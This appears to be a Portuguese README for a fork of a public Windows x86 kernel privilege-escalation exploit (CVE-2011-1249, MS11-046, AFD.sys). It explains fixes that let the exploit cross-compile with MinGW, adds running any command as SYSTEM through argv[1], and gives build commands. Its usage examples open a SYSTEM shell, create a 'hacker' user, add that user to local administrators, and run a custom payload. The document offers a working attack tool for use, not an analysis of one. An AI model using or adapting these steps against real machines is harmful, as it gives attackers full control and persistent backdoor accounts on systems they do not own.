
CVE-2011-1249 (MS11-046) escalada de privilégios AFD — correção de compilação cruzada MinGW + suporte a comando personalizado
CVE-2011-1249 / MS11-046 — escalonamento de privilégios do AFD.sys para Windows x86.
Exploit original de Tomislav Paskalev (EDB-40564). Este fork corrige erros de compilação cruzada com MinGW e adiciona execução de comandos personalizados via argv[1].
| # | Alteração | Por quê |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → ponteiro de função tipado (pZwQuerySystemInformation) | A verificação estrita de tipos do MinGW rejeita chamar um FARPROC de zero parâmetros com argumentos — a compilação falha com too many arguments to function |
| 2 | arrays securityPatches[] marcados como static | Arrays declarados dentro de blocos if/else são alocados na pilha e saem de escopo; sem static, os ponteiros ficam pendentes |
| 3 | Comando personalizado via argv[1] | Executa qualquer comando como SYSTEM em vez do cmd.exe embutido no código |
Compilar o original com MinGW falha:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC é um ponteiro de função genérico declarado com zero parâmetros. O MinGW aplica verificação estrita de tipos e rejeita chamá-lo com argumentos. A correção é um ponteiro de função tipado com a assinatura correta.
Existem binários pré-compilados (por exemplo, SecWiki/windows-kernel-exploits), mas eles não suportam comandos personalizados.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM